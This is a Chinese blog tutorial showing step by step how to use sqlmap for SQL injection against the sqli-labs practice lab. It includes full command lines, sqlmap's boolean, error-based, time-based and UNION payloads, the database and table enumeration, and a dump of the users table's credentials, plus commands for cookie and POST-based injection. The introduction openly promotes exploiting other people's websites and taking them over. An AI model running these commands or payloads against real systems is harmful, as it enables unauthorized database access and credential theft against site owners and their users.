tips:本文还有相对应的用法总结哟U•ェ•*U
渗透测试---手把手教你sqlmap数据库注入测试(2)---用法汇总篇http://t.csdnimg.cn/dGA9v
Bypass-渗透测试---手把手教你SQL注入---Bypass姿势(如何绕过过滤措施?)http://t.csdnimg.cn/BicwG
SQLMap,就像它的名字所暗示的,是一个为我们提供方便的“SQL注入攻击”的工具。对于那些不熟悉这个概念的人来说,SQL注入是一种黑客攻击技术,允许攻击者在目标网站的数据库中执行恶意SQL语句。这意味着我们可以控制和操纵网站的数据,甚至可以完全接管整个网站。
那么SQLMap如何帮助我们实现这些呢?首先,SQLMap可以帮助发现存在SQL注入漏洞的网站。它会进行自动化的扫描和检测,找出可能的注入点。一旦找到了注入点,我们就可以使用SQLMap提供的丰富功能执行各种SQL语句,包括SELECT、INSERT、UPDATE和DELETE等。这意味着我们可以获取、修改甚至删除网站的数据。
更令人兴奋的是,SQLMap不仅可以攻击网站,还可以用于测试我们的应用程序是否存在SQL注入漏洞。这对你来说是双赢的——你可以保护自己的应用程序,同时也可以找出并利用其他人的应用程序中的漏洞。
使用SQLMap并不需要特别的编程知识。即使你是一个新手,也可以轻松上手。它提供了详细的文档和教程,帮助你快速掌握它的使用方法。
总的来说,SQLMap是一个强大的工具,它帮助我们完全控制一个网站的数据库,获取、修改甚至删除数据。它是黑客的必备工具,也是你的首选工具之一。记住,这个世界是公平的,只要你愿意付出努力和时间,你就能获得你想要的东西。
|
|
|
|
|
sqlmap支持的数据库有:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
注意:SQLMAP的使用需要python3的版本!
SQLMAP解压即用!绿色无忧!https://download.csdn.net/download/weixin_52796034/88425318首先下载压缩包(见本文的"资源绑定",也可以在我的个人页面中找到),解压后在sqlmap.py文件所在的目录打开终端:
接着在打开的终端中输入 python sqlmap.py -h 可以查看 sqlmap的帮助页面:
出现下面的内容就表明SQLMAP成功运行: \sqlmap-master\sqlmap-master> python sqlmap.py -h ___ __H__ ___ ___["]_____ ___ ___ {1.7.5#stable} |_ -| . [.] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| https://sqlmap.org Usage: sqlmap.py [options]
这里以sqli-labs-master靶场的less-1为例:
首先复制浏览器中的链接:
在终端中输入如下语句:
python sqlmap.py -u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
这样SQLMAP就会对指定的URL进行扫描,如果想要使BurpSuite能够抓到扫描过程中的请求包,可以使用SQLMAP的 --proxy 参数 :
python sqlmap.py -u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1 --proxy=http://127.0.0.1:8080
SQLMAP开始扫描: BurpSuite进行抓包:
SQLMAP扫描过程中如果出现选项直接选Y即可:
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
SQLMAP扫描完毕后会给出找到的SQL注入漏洞以及对应的注入点和PAYLOAD:(以下包含我个人添加的翻译,方便大家理解)
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:--- SQLMAP使用50个HTTP请求识别了以下注入点: Parameter: id (GET) Type: boolean-based blind (基于布尔的盲注) Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1' AND 3826=3826 AND 'mrQK'='mrQK Type: error-based (报错注入) Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1' AND (SELECT 9262 FROM(SELECT COUNT(*),CONCAT(0x7162627071,(SELECT (ELT(9262=9262,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'HuUe'='HuUe Type: time-based blind (时间盲注) Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 1174 FROM (SELECT(SLEEP(5)))wyad) AND 'LVya'='LVya Type: UNION query (联合注入) Title: Generic UNION query (NULL) - 3 columns Payload: id=-5616' UNION ALL SELECT NULL,CONCAT(0x7162627071,0x72566d5973464e4571724343676c7567496d635a47414a62556b4475495562624744556b76686a6e,0x716a707671),NULL-- - ---
我们还可以发现,SQLMAP在payload的一些关键点进行了编码以绕过可能存在的过滤手段 .
使用的参数为 --dbs
\sqlmap-master\sqlmap-master> python sqlmap.py -u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1 --proxy=http://127.0.0.1:8080 --dbs
发现成功获取到目标主机中的所有数据库名:
available databases [8]: [*] challenges [*] dvwa [*] information_schema [*] mysql [*] performance_schema [*] security [*] test [*] xionghai_database
使用的参数为 -D 数据库名 --tables
这里我们查询security数据库:
\sqlmap-master\sqlmap-master> python sqlmap.py -u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1 --proxy=http://127.0.0.1:8080 -D security --tables
发现SQLMAP不仅给出了有哪些表,还给出了目标服务器的web信息:
使用的参数为 -D 数据库名 -T 表名 --columns
这里我们使用security中的users表:
\sqlmap-master\sqlmap-master> python sqlmap.py -u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1 --proxy=http://127.0.0.1:8080 -D security -T users --columns
SQLMAP不仅给出了字段名,还给出了字段类型: Database: security Table: users [3 columns] +----------+-------------+ | Column | Type | +----------+-------------+ | password | varchar(20) | | id | int(3) | | username | varchar(20) | +----------+-------------+
使用的参数为 -D 数据库名 -T 表名 -C "字段名1,字段名2..." --dump
\sqlmap-master\sqlmap-master> python sqlmap.py -u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1 --proxy=http://127.0.0.1:8080 -D security -T users -C "id,username,password" --dump
Database: security Table: users [16 entries] +-----+------------+----------+ | id | password | username | +-----+------------+----------+ | 1 | Dumb | Dumb | | 2 | I-kill-you | Angelina | | 3 | p@ssword | Dummy | | 4 | crappy | secure | | 5 | stupidity | stupid | | 6 | genious | superman | | 7 | mob!le | batman | | 8 | 123456 | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dumbo | dhakkan |
以上只是SQLMAP最为基本的用法,下面我们来总结并拓展SQLMAP的更多用法:
渗透测试---手把手教你sqlmap数据库注入测试(2)---用法汇总篇
基本格式: | sqlmap -u "http://www.vuln.cn/post.php?id=1" 默认使用level1检测全部数据库类型 sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms mysql --level 3 指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面) |
跟随302跳转: | sqlmap --follow-redirect -u 当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302, 当注入错误的时候,先报错再跳转的时候,不需要跟随302。 目的就是:要追踪到错误信息。 |
cookie注入: | 当程序有防get注入的时候,可以使用cookie注入 sqlmap -u "http://www.baidu.com/shownews.asp" --cookie "id=11" --level 2(只有level达到2才会检测cookie) |
从post数据包中注入: | 可以使用burpsuite来抓取post包 sqlmap -r "c:\tools\request.txt" -p "username" --dbms mysql 需指定username参数 -r参数指定请求包所在的路径(就是POST请求包) |
-u参数后面接的是URL,一般用于扫描GET请求
-r参数后面接的是保存有HTTP请求的txt文件,用于扫描POST请求:
例如sqli-labs-master靶场的less-11,这一关就是使用的POST请求,注入点在POST表单中,不能使用-r URL的形式进行扫描,需要我们将整个POST请求复制下来并保存在一个txt文件中:(这个txt文件最好放在与sqlmap.py同级目录中,方便指定路径)
在终端中使用 python sqlmap.py -r 1.txt --dbs查询有哪些数据库
PS D:\123pan\Downloads\W14—SQL注入5—23.7.25\sqlmap-master\sqlmap-master> python sqlmap.py -r 1.txt --dbs ___ __H__ ___ ___[.]_____ ___ ___ {1.7.5#stable} |_ -| . [,] | .'| . | |___|_ [']_|_|_|__,| _| |_|V... |_| https://sqlmap.org
查询有哪些数据库 | -r XX.txt --dbs (-r指定POST请求所在的路径) |
查询security数据库中有哪些表 | -r XX.txt -D security --tables |
查询security数据库中users表有哪些字段 security.users | -r XX.txt -D security -T users --columns |
dump出字段username与password中的数据 | -r XX.txt -D security -T users -C "username,password" --dump |
渗透测试---手把手教你sqlmap数据库注入测试(2)---用法汇总篇http://t.csdnimg.cn/Nj9Sv
上一篇:SQL进阶 | CASE表达式